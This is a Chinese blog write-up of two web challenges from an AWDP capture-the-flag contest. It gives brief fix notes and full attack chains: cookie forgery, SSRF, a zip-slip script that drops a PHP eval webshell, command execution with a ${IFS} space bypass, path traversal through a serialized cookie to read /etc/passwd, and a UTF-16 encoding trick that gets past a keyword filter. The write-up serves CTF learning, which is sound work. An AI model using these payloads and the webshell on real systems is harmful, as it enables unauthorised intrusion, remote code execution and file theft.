本文最后更新于 2026-03-24T20:37:22+08:00
上午的 AWDP 就修了一个,一个也没打通 :(
复现网址:https://gz.imxbt.cn/games/36/challenges#
easy_time
Fix
不会修…
Break
开始是一个登录界面,可以弱口令登录,密码是secret

或者根据源码index.py里可以看到,admin的密码是硬编码的,是经过了两次MD5加密,并且这里如果登录成功,就会设置Cookie中visited=yes,user为登录用户名,这要设置一下这俩就可以伪造Cookie未授权登录了


在docker-compose.yaml中可以看到靶机内部存在80端口,在Dockerfile中可以看到存放的是html中的三个文件,这就可以想到找SSRF去打这个端口

访问/about路由可以找到可能存在SSRF的地方

去源码中看,可以 POST 传参avatar_url,这个参数是可控的

然后在下面的这里会调用fetch_remote_avatar_info(current['avatar_url'])

这里的fetch_remote_avatar_info()函数就是可以打SSRF,限制只能使用http或https协议

所以可以构造如下请求包:
1 2 3 4 5 6 7
| POST /about HTTP/1.1 Host: challenge.imxbt.cn:31418 Cookie: visited=yes; user=admin Content-Type: application/x-www-form-urlencoded Content-Length: 39
avatar_url=http://127.0.0.1/phpinfo.php
|

很显然是成功了的,但是源码中放在html目录下的三个文件都没什么用,但是在后台页面中可以看到有上传插件的功能

是支持上传压缩包并解压缩的,所以如果我构造好一个压缩包上传,如果能存在目录穿越之类的漏洞,我就可以将解压的文件传到html目录下,然后就能通过上面的SSRF从而可以实现RCE

去看源码,是会调用safe_upload()这个函数实现上传的

再去看safe_upload()这个函数,发现是直接使用的info.filename,这是可控的,os.path.join只会做字符串拼接,不会过滤目录穿越需要的字符

所以只要将上传的压缩包中的文件名修改为../../../../../../var/www/html/shell.php,就可以通过目录穿越,将构造的恶意文件上传到html目录下,因为windows中命名文件不允许写/,所以这里可以利用脚本来生成压缩包:
1 2 3 4 5
| import zipfile
with zipfile.ZipFile("shell.zip", "w") as zipf: zipf.writestr("../../../../../../var/www/html/shell.php", "<?php eval($_GET['shell']);?>")
|
运行脚本生成shell.zip文件,然后直接上传即可

此时就可以通过SSRF去访问shell.php文件并进行RCE
1 2 3 4 5 6 7
| POST /about HTTP/1.1 Host: challenge.imxbt.cn:31418 Cookie: visited=yes; user=admin Content-Type: application/x-www-form-urlencoded Content-Length: 57
avatar_url=http://127.0.0.1/shell.php?shell=system('id')
|

flag在/tmp/flag,还有要注意的是这里不能使用空格,不然命令不会执行成功,可以随便找个绕过空格的方法即可,我用的${IFS}
1 2 3 4 5 6 7
| POST /about HTTP/1.1 Host: challenge.imxbt.cn:31418 Cookie: visited=yes; user=admin Content-Type: application/x-www-form-urlencoded Content-Length: 73
avatar_url=http://127.0.0.1/shell.php?shell=system('cat${IFS}/tmp/flag')
|

这一题是当时唯一修好的一个,但是没打
Fix
先随便上传个文件

然后抓包看看,这里抓的preview的包,会发现Cookie中是一段URL编码的序列化数据,其中有个basePath属性是指定的文件路径,然后我就想到这里是不是可以通过修改这个值从而进行目录穿越

然后我就去看源码了

在preview.php中,通过file_get_contents()函数来读文件内容的

这里传入的$convertedPath是对$rawPath经过编码转换后的

而$rawPath就是$user->basePath和$f的拼接结果,这里是最重要的,意味着之前的想法是可能实现的

并且过滤了一些字符串,也不能大小写绕过

这里basePath就是从Cookie中提取的basePath属性的值,$f是通过 GET 方式传入的f参数

这里尝试一下,将basePath修改为空,注意要进行URL编码,然后f改为/etc/passwd
1 2 3 4 5 6 7 8 9 10 11 12
| GET /preview.php?f=/etc/passwd HTTP/1.1 Host: challenge.imxbt.cn:32349 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge.imxbt.cn:32349/ Accept-Encoding: gzip, deflate, br Cookie: visited=yes; user=O%3a4%3a"User"%3a3%3a{s%3a4%3a"name"%3bs%3a5%3a"guest"%3bs%3a8%3a"encoding"%3bs%3a5%3a"UTF-8"%3bs%3a8%3a"basePath"%3bs%3a0%3a""%3b} Connection: keep-alive
|
没问题,想法可行,确实存在漏洞

至于另一个download.php中是没有使用basePath,而是用的写死的/var/www/html/uploads,也就不存在漏洞

到了这里我就想到了修,是不是可以直接将preview.php中的像download.php中的一样写死路径,就可以check成功了,事实证明是可以的

Break
然后是打,直接读根目录下的flag是不行的,因为过滤了flag关键词,也不能大小写绕过,当时想到了利用编码转换来进行绕过,因为这题存在编码转换的功能的,但是当时没看到源码中的,一直以为是下面这里

关键是下面这部分,可以将Cookie中的user的编码转化为UTF-8编码

所以只要将/flag转化为其他编码,比如UTF-16就可以绕过了,因为会有些不可见字符,所以URL编码一下,转换脚本:
1 2 3 4 5 6 7
| <?php $f = "/flag"; $convertedPath = iconv("UTF-8", "UTF-16", $f); echo urlencode($convertedPath); ?>
|
还有就是Cookie中的也编码为UTF-16,可以根据lib目录下的User.php内容修改

脚本:
1 2 3 4 5 6 7 8 9 10 11
| <?php class User { public $name = "admin"; public $encoding = "UTF-16"; public $basePath = ""; }
echo urlencode(serialize(new User())); ?>
|
构造的请求包:
1 2 3 4 5 6 7 8 9 10 11 12
| GET /preview.php?f=%FE%FF%00%2F%00f%00l%00a%00g HTTP/1.1 Host: challenge.imxbt.cn:32349 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge.imxbt.cn:32349/ Accept-Encoding: gzip, deflate, br Cookie: visited=yes; user=O%3A4%3A%22User%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22encoding%22%3Bs%3A6%3A%22UTF-16%22%3Bs%3A8%3A%22basePath%22%3Bs%3A0%3A%22%22%3B%7D Connection: keep-alive
|
成功绕过获取flag
